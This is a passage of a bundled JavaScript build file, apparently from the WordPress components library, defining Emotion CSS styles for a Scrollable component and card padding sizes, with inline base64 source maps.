35552 styles: "overflow-x:auto;overflow-y:hidden;label:scrollX;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtRDBCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5leHBvcnQgY29uc3Qgc2Nyb2xsYWJsZVNjcm9sbGJhciA9IGNzc2Bcblx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAoIG1pbi1kZXZpY2Utd2lkdGg6IDQwZW0gKSB7XG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXIge1xuXHRcdFx0aGVpZ2h0OiAxMnB4O1xuXHRcdFx0d2lkdGg6IDEycHg7XG5cdFx0fVxuXG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0fVxuXG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgQ09ORklHLmNvbG9yU2Nyb2xsYmFyVHJhY2sgfTtcblx0XHRcdGJvcmRlci1yYWRpdXM6IDhweDtcblx0XHR9XG5cblx0XHQmOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94O1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLmNvbG9yU2Nyb2xsYmFyVGh1bWIgfTtcblx0XHRcdGJvcmRlcjogMnB4IHNvbGlkIHJnYmEoIDAsIDAsIDAsIDAgKTtcblx0XHRcdGJvcmRlci1yYWRpdXM6IDdweDtcblx0XHR9XG5cblx0XHQmOmhvdmVyOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT05GSUcuY29sb3JTY3JvbGxiYXJUaHVtYkhvdmVyIH07XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgU2Nyb2xsYWJsZSA9IGNzc2Bcblx0aGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IENvbnRlbnQgPSBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzbW9vdGhTY3JvbGwgPSBjc3NgXG5cdHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuYDtcblxuZXhwb3J0IGNvbnN0IHNjcm9sbFggPSBjc3NgXG5cdG92ZXJmbG93LXg6IGF1dG87XG5cdG92ZXJmbG93LXk6IGhpZGRlbjtcbmA7XG5cbmV4cG9ydCBjb25zdCBzY3JvbGxZID0gY3NzYFxuXHRvdmVyZmxvdy14OiBoaWRkZW47XG5cdG92ZXJmbG93LXk6IGF1dG87XG5gO1xuXG5leHBvcnQgY29uc3Qgc2Nyb2xsQXV0byA9IGNzc2Bcblx0b3ZlcmZsb3cteTogYXV0bztcbmA7XG4iXX0= */",
35553 toString: _EMOTION_STRINGIFIED_CSS_ERROR__19
35554 };
35555 var scrollY = false ? {
35556 name: "103x71s",
35557 styles: "overflow-x:hidden;overflow-y:auto"
35558 } : {
35559 name: "flie1-scrollY",
35560 styles: "overflow-x:hidden;overflow-y:auto;label:scrollY;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3RDBCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5leHBvcnQgY29uc3Qgc2Nyb2xsYWJsZVNjcm9sbGJhciA9IGNzc2Bcblx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAoIG1pbi1kZXZpY2Utd2lkdGg6IDQwZW0gKSB7XG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXIge1xuXHRcdFx0aGVpZ2h0OiAxMnB4O1xuXHRcdFx0d2lkdGg6IDEycHg7XG5cdFx0fVxuXG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0fVxuXG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgQ09ORklHLmNvbG9yU2Nyb2xsYmFyVHJhY2sgfTtcblx0XHRcdGJvcmRlci1yYWRpdXM6IDhweDtcblx0XHR9XG5cblx0XHQmOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94O1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLmNvbG9yU2Nyb2xsYmFyVGh1bWIgfTtcblx0XHRcdGJvcmRlcjogMnB4IHNvbGlkIHJnYmEoIDAsIDAsIDAsIDAgKTtcblx0XHRcdGJvcmRlci1yYWRpdXM6IDdweDtcblx0XHR9XG5cblx0XHQmOmhvdmVyOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT05GSUcuY29sb3JTY3JvbGxiYXJUaHVtYkhvdmVyIH07XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgU2Nyb2xsYWJsZSA9IGNzc2Bcblx0aGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IENvbnRlbnQgPSBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzbW9vdGhTY3JvbGwgPSBjc3NgXG5cdHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuYDtcblxuZXhwb3J0IGNvbnN0IHNjcm9sbFggPSBjc3NgXG5cdG92ZXJmbG93LXg6IGF1dG87XG5cdG92ZXJmbG93LXk6IGhpZGRlbjtcbmA7XG5cbmV4cG9ydCBjb25zdCBzY3JvbGxZID0gY3NzYFxuXHRvdmVyZmxvdy14OiBoaWRkZW47XG5cdG92ZXJmbG93LXk6IGF1dG87XG5gO1xuXG5leHBvcnQgY29uc3Qgc2Nyb2xsQXV0byA9IGNzc2Bcblx0b3ZlcmZsb3cteTogYXV0bztcbmA7XG4iXX0= */",
35561 toString: _EMOTION_STRINGIFIED_CSS_ERROR__19
35562 };
35563 var scrollAuto = false ? {
35564 name: "umwchj",
35565 styles: "overflow-y:auto"
35566 } : {
35567 name: "1lcuu7v-scrollAuto",
35568 styles: "overflow-y:auto;label:scrollAuto;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2RDZCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHIH0gZnJvbSAnLi4vdXRpbHMnO1xuXG5leHBvcnQgY29uc3Qgc2Nyb2xsYWJsZVNjcm9sbGJhciA9IGNzc2Bcblx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAoIG1pbi1kZXZpY2Utd2lkdGg6IDQwZW0gKSB7XG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXIge1xuXHRcdFx0aGVpZ2h0OiAxMnB4O1xuXHRcdFx0d2lkdGg6IDEycHg7XG5cdFx0fVxuXG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0fVxuXG5cdFx0Jjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgQ09ORklHLmNvbG9yU2Nyb2xsYmFyVHJhY2sgfTtcblx0XHRcdGJvcmRlci1yYWRpdXM6IDhweDtcblx0XHR9XG5cblx0XHQmOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94O1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09ORklHLmNvbG9yU2Nyb2xsYmFyVGh1bWIgfTtcblx0XHRcdGJvcmRlcjogMnB4IHNvbGlkIHJnYmEoIDAsIDAsIDAsIDAgKTtcblx0XHRcdGJvcmRlci1yYWRpdXM6IDdweDtcblx0XHR9XG5cblx0XHQmOmhvdmVyOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT05GSUcuY29sb3JTY3JvbGxiYXJUaHVtYkhvdmVyIH07XG5cdFx0fVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgU2Nyb2xsYWJsZSA9IGNzc2Bcblx0aGVpZ2h0OiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IENvbnRlbnQgPSBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBzbW9vdGhTY3JvbGwgPSBjc3NgXG5cdHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuYDtcblxuZXhwb3J0IGNvbnN0IHNjcm9sbFggPSBjc3NgXG5cdG92ZXJmbG93LXg6IGF1dG87XG5cdG92ZXJmbG93LXk6IGhpZGRlbjtcbmA7XG5cbmV4cG9ydCBjb25zdCBzY3JvbGxZID0gY3NzYFxuXHRvdmVyZmxvdy14OiBoaWRkZW47XG5cdG92ZXJmbG93LXk6IGF1dG87XG5gO1xuXG5leHBvcnQgY29uc3Qgc2Nyb2xsQXV0byA9IGNzc2Bcblx0b3ZlcmZsb3cteTogYXV0bztcbmA7XG4iXX0= */",
35569 toString: _EMOTION_STRINGIFIED_CSS_ERROR__19
35570 };
35571
35572 // packages/components/build-module/scrollable/hook.mjs
35573 function useScrollable(props) {
35574 const {
35575 className: className2,
35576 scrollDirection = "y",
35577 smoothScroll: smoothScroll2 = false,
35578 ...otherProps
35579 } = useContextSystem(props, "Scrollable");
35580 const cx3 = useCx();
35581 const classes = (0, import_element99.useMemo)(() => cx3(Scrollable, scrollableScrollbar, smoothScroll2 && smoothScroll, scrollDirection === "x" && scrollX, scrollDirection === "y" && scrollY, scrollDirection === "auto" && scrollAuto, className2), [className2, cx3, scrollDirection, smoothScroll2]);
35582 return {
35583 ...otherProps,
35584 className: classes
35585 };
35586 }
35587
35588 // packages/components/build-module/scrollable/component.mjs
35589 var import_jsx_runtime162 = __toESM(require_jsx_runtime(), 1);
35590 function UnconnectedScrollable(props, forwardedRef) {
35591 const scrollableProps = useScrollable(props);
35592 return /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(component_default, {
35593 ...scrollableProps,
35594 ref: forwardedRef
35595 });
35596 }
35597 var Scrollable2 = contextConnect(UnconnectedScrollable, "Scrollable");
35598 var component_default28 = Scrollable2;
35599
35600 // packages/components/build-module/card/card-body/hook.mjs
35601 var import_element100 = __toESM(require_element(), 1);
35602
35603 // packages/components/build-module/card/get-padding-by-size.mjs
35604 function _EMOTION_STRINGIFIED_CSS_ERROR__20() {
35605 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
35606 }
35607 var xSmallCardPadding = /* @__PURE__ */ css("padding:", space(2), ";" + (false ? "" : ";label:xSmallCardPadding;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImdldC1wYWRkaW5nLWJ5LXNpemUudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBVzZCIiwiZmlsZSI6ImdldC1wYWRkaW5nLWJ5LXNpemUudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MsIHR5cGUgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBQcm9wcywgU2l6ZVRva2VuIH0gZnJvbSAnLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuY29uc3QgeFNtYWxsQ2FyZFBhZGRpbmcgPSBjc3NgXG5cdHBhZGRpbmc6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjYXJkUGFkZGluZ3MgPSB7XG5cdG5vbmU6IGNzc2Bcblx0XHRwYWRkaW5nOiAwO1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA2ICkgfSAkeyBzcGFjZSggOCApIH07XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA0ICkgfSAkeyBzcGFjZSggNiApIH07XG5cdGAsXG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHR4U21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxuXHQvLyBUaGUgYGV4dHJhU21hbGxgIHNpemUgaXMgbm90IG9mZmljaWFsbHkgZG9jdW1lbnRlZCwgYnV0IHRoZSBmb2xsb3dpbmcgc3R5bGVzXG5cdC8vIGFyZSBrZXB0IGZvciBsZWdhY3kgcmVhc29ucyB0byBzdXBwb3J0IG9sZGVyIHZhbHVlcyBvZiB0aGUgYHNpemVgIHByb3AuXG5cdGV4dHJhU21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxufTtcblxuY29uc3QgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlID0gKCBzaXplOiBTaXplVG9rZW4gKTogc3RyaW5nIHwgdW5kZWZpbmVkID0+IHtcblx0c3dpdGNoICggc2l6ZSApIHtcblx0XHRjYXNlICd4U21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCAyICk7XG5cdFx0Y2FzZSAnc21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA0ICk7XG5cdFx0Y2FzZSAnbWVkaXVtJzpcblx0XHRcdHJldHVybiBzcGFjZSggNiApO1xuXHRcdGNhc2UgJ2xhcmdlJzpcblx0XHRcdHJldHVybiBzcGFjZSggOCApO1xuXHRcdGNhc2UgJ25vbmUnOlxuXHRcdFx0cmV0dXJuICcwJztcblx0XHRkZWZhdWx0OlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA2ICk7XG5cdH1cbn07XG5cbmV4cG9ydCBjb25zdCBnZXRQYWRkaW5nQnlTaXplID0gKCBzaXplOiBQcm9wc1sgJ3NpemUnIF0gKTogU2VyaWFsaXplZFN0eWxlcyA9PiB7XG5cdC8vIEhhbmRsZSBzdHJpbmctYmFzZWQgc2l6ZXMgKGJvdGggc3RhbmRhcmQgYW5kIGRlcHJlY2F0ZWQpXG5cdGlmICggdHlwZW9mIHNpemUgPT09ICdzdHJpbmcnICkge1xuXHRcdHJldHVybiBjYXJkUGFkZGluZ3NbIHNpemUgYXMgU2l6ZVRva2VuIF07XG5cdH1cblxuXHRpZiAoIHNpemUgKSB7XG5cdFx0Y29uc3QgeyBibG9ja1N0YXJ0LCBibG9ja0VuZCwgaW5saW5lU3RhcnQsIGlubGluZUVuZCB9ID0gc2l6ZTtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBibG9ja1N0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctYmxvY2stZW5kOiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGJsb2NrRW5kICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLXN0YXJ0OiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGlubGluZVN0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLWVuZDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBpbmxpbmVFbmQgKSB9O1xuXHRcdGA7XG5cdH1cblxuXHQvLyBEZWZhdWx0IHRvIG1lZGl1bSBpZiBubyBzaXplIGlzIHByb3ZpZGVkXG5cdHJldHVybiBjYXJkUGFkZGluZ3MubWVkaXVtO1xufTtcbiJdfQ== */");
35608 var cardPaddings = {
35609 none: false ? {
35610 name: "1hcx8jb",
35611 styles: "padding:0"
35612 } : {
35613 name: "1nt59cd-none",
35614 styles: "padding:0;label:none;/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImdldC1wYWRkaW5nLWJ5LXNpemUudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBZ0JVIiwiZmlsZSI6ImdldC1wYWRkaW5nLWJ5LXNpemUudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MsIHR5cGUgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBQcm9wcywgU2l6ZVRva2VuIH0gZnJvbSAnLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuY29uc3QgeFNtYWxsQ2FyZFBhZGRpbmcgPSBjc3NgXG5cdHBhZGRpbmc6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjYXJkUGFkZGluZ3MgPSB7XG5cdG5vbmU6IGNzc2Bcblx0XHRwYWRkaW5nOiAwO1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA2ICkgfSAkeyBzcGFjZSggOCApIH07XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA0ICkgfSAkeyBzcGFjZSggNiApIH07XG5cdGAsXG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHR4U21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxuXHQvLyBUaGUgYGV4dHJhU21hbGxgIHNpemUgaXMgbm90IG9mZmljaWFsbHkgZG9jdW1lbnRlZCwgYnV0IHRoZSBmb2xsb3dpbmcgc3R5bGVzXG5cdC8vIGFyZSBrZXB0IGZvciBsZWdhY3kgcmVhc29ucyB0byBzdXBwb3J0IG9sZGVyIHZhbHVlcyBvZiB0aGUgYHNpemVgIHByb3AuXG5cdGV4dHJhU21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxufTtcblxuY29uc3QgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlID0gKCBzaXplOiBTaXplVG9rZW4gKTogc3RyaW5nIHwgdW5kZWZpbmVkID0+IHtcblx0c3dpdGNoICggc2l6ZSApIHtcblx0XHRjYXNlICd4U21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCAyICk7XG5cdFx0Y2FzZSAnc21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA0ICk7XG5cdFx0Y2FzZSAnbWVkaXVtJzpcblx0XHRcdHJldHVybiBzcGFjZSggNiApO1xuXHRcdGNhc2UgJ2xhcmdlJzpcblx0XHRcdHJldHVybiBzcGFjZSggOCApO1xuXHRcdGNhc2UgJ25vbmUnOlxuXHRcdFx0cmV0dXJuICcwJztcblx0XHRkZWZhdWx0OlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA2ICk7XG5cdH1cbn07XG5cbmV4cG9ydCBjb25zdCBnZXRQYWRkaW5nQnlTaXplID0gKCBzaXplOiBQcm9wc1sgJ3NpemUnIF0gKTogU2VyaWFsaXplZFN0eWxlcyA9PiB7XG5cdC8vIEhhbmRsZSBzdHJpbmctYmFzZWQgc2l6ZXMgKGJvdGggc3RhbmRhcmQgYW5kIGRlcHJlY2F0ZWQpXG5cdGlmICggdHlwZW9mIHNpemUgPT09ICdzdHJpbmcnICkge1xuXHRcdHJldHVybiBjYXJkUGFkZGluZ3NbIHNpemUgYXMgU2l6ZVRva2VuIF07XG5cdH1cblxuXHRpZiAoIHNpemUgKSB7XG5cdFx0Y29uc3QgeyBibG9ja1N0YXJ0LCBibG9ja0VuZCwgaW5saW5lU3RhcnQsIGlubGluZUVuZCB9ID0gc2l6ZTtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBibG9ja1N0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctYmxvY2stZW5kOiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGJsb2NrRW5kICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLXN0YXJ0OiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGlubGluZVN0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLWVuZDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBpbmxpbmVFbmQgKSB9O1xuXHRcdGA7XG5cdH1cblxuXHQvLyBEZWZhdWx0IHRvIG1lZGl1bSBpZiBubyBzaXplIGlzIHByb3ZpZGVkXG5cdHJldHVybiBjYXJkUGFkZGluZ3MubWVkaXVtO1xufTtcbiJdfQ== */",
35615 toString: _EMOTION_STRINGIFIED_CSS_ERROR__20
35616 },
35617 large: /* @__PURE__ */ css("padding:", space(6), " ", space(8), ";" + (false ? "" : ";label:large;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImdldC1wYWRkaW5nLWJ5LXNpemUudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBbUJXIiwiZmlsZSI6ImdldC1wYWRkaW5nLWJ5LXNpemUudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MsIHR5cGUgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBQcm9wcywgU2l6ZVRva2VuIH0gZnJvbSAnLi90eXBlcyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuY29uc3QgeFNtYWxsQ2FyZFBhZGRpbmcgPSBjc3NgXG5cdHBhZGRpbmc6ICR7IHNwYWNlKCAyICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBjYXJkUGFkZGluZ3MgPSB7XG5cdG5vbmU6IGNzc2Bcblx0XHRwYWRkaW5nOiAwO1xuXHRgLFxuXHRsYXJnZTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA2ICkgfSAkeyBzcGFjZSggOCApIH07XG5cdGAsXG5cdG1lZGl1bTogY3NzYFxuXHRcdHBhZGRpbmc6ICR7IHNwYWNlKCA0ICkgfSAkeyBzcGFjZSggNiApIH07XG5cdGAsXG5cdHNtYWxsOiBjc3NgXG5cdFx0cGFkZGluZzogJHsgc3BhY2UoIDQgKSB9O1xuXHRgLFxuXHR4U21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxuXHQvLyBUaGUgYGV4dHJhU21hbGxgIHNpemUgaXMgbm90IG9mZmljaWFsbHkgZG9jdW1lbnRlZCwgYnV0IHRoZSBmb2xsb3dpbmcgc3R5bGVzXG5cdC8vIGFyZSBrZXB0IGZvciBsZWdhY3kgcmVhc29ucyB0byBzdXBwb3J0IG9sZGVyIHZhbHVlcyBvZiB0aGUgYHNpemVgIHByb3AuXG5cdGV4dHJhU21hbGw6IHhTbWFsbENhcmRQYWRkaW5nLFxufTtcblxuY29uc3QgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlID0gKCBzaXplOiBTaXplVG9rZW4gKTogc3RyaW5nIHwgdW5kZWZpbmVkID0+IHtcblx0c3dpdGNoICggc2l6ZSApIHtcblx0XHRjYXNlICd4U21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCAyICk7XG5cdFx0Y2FzZSAnc21hbGwnOlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA0ICk7XG5cdFx0Y2FzZSAnbWVkaXVtJzpcblx0XHRcdHJldHVybiBzcGFjZSggNiApO1xuXHRcdGNhc2UgJ2xhcmdlJzpcblx0XHRcdHJldHVybiBzcGFjZSggOCApO1xuXHRcdGNhc2UgJ25vbmUnOlxuXHRcdFx0cmV0dXJuICcwJztcblx0XHRkZWZhdWx0OlxuXHRcdFx0cmV0dXJuIHNwYWNlKCA2ICk7XG5cdH1cbn07XG5cbmV4cG9ydCBjb25zdCBnZXRQYWRkaW5nQnlTaXplID0gKCBzaXplOiBQcm9wc1sgJ3NpemUnIF0gKTogU2VyaWFsaXplZFN0eWxlcyA9PiB7XG5cdC8vIEhhbmRsZSBzdHJpbmctYmFzZWQgc2l6ZXMgKGJvdGggc3RhbmRhcmQgYW5kIGRlcHJlY2F0ZWQpXG5cdGlmICggdHlwZW9mIHNpemUgPT09ICdzdHJpbmcnICkge1xuXHRcdHJldHVybiBjYXJkUGFkZGluZ3NbIHNpemUgYXMgU2l6ZVRva2VuIF07XG5cdH1cblxuXHRpZiAoIHNpemUgKSB7XG5cdFx0Y29uc3QgeyBibG9ja1N0YXJ0LCBibG9ja0VuZCwgaW5saW5lU3RhcnQsIGlubGluZUVuZCB9ID0gc2l6ZTtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0cGFkZGluZy1ibG9jay1zdGFydDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBibG9ja1N0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctYmxvY2stZW5kOiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGJsb2NrRW5kICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLXN0YXJ0OiAkeyBnZXRTaW5nbGVQYWRkaW5nVmFsdWUoIGlubGluZVN0YXJ0ICkgfTtcblx0XHRcdHBhZGRpbmctaW5saW5lLWVuZDogJHsgZ2V0U2luZ2xlUGFkZGluZ1ZhbHVlKCBpbmxpbmVFbmQgKSB9O1xuXHRcdGA7XG5cdH1cblxuXHQvLyBEZWZhdWx0IHRvIG1lZGl1bSBpZiBubyBzaXplIGlzIHByb3ZpZGVkXG5cdHJldHVybiBjYXJkUGFkZGluZ3MubWVkaXVtO1xufTtcbiJdfQ== */"),
35618 medium: /* @__PURE__ */ css("padding:", space(4), " ", space(6), ";" + (false ? "" : ";label:medium;"), false ? "" : "/*# 